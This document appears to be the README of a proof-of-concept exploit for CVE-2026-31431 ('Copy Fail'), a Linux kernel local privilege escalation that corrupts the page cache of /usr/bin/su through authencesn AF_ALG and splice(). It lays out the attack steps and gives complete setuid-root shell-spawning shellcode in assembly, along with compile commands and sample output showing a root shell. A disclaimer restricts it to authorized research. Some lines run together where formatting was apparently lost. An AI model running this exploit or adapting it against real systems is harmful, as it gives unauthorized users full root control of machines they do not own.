
CVE-2026-31431 (Copy Fail) PoC - Linux kernel page cache corruption via authencesn AF_ALG + splice()
Local privilege escalation exploit for CVE-2026-31431 (Copy Fail), written in C.
/usr/bin/su's entry point virtual address to a file offset via PT_LOAD program headersauthencesn(hmac(sha256),cbc(aes)) with a zero keysendmsg() sends AAD with the shellcode bytes as seqno_lo (bytes 4-7), with MSG_MOREsplice() delivers 32 bytes of the target file's page cache pages as the AEAD authentication tagrecv() triggers decryption,authencesn's scratch write lands in the chained page cache pages, writing 4 controlled bytes.execl("/usr/bin/su") loads the corrupted page cache. The 40-byte shellcode (setuid(0) + execve("/bin/sh")) runs as setuid-rootxor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; null terminator
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; filename
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
Requires musl-gcc or any C compiler with static linking support:
musl-gcc -static -O2 -s -o copyfail exploit.c
Alternatively with GCC + glibc:
gcc -static -O2 -s -o copyfail exploit.c
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
This proof-of-concept is provided for authorized security research and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal.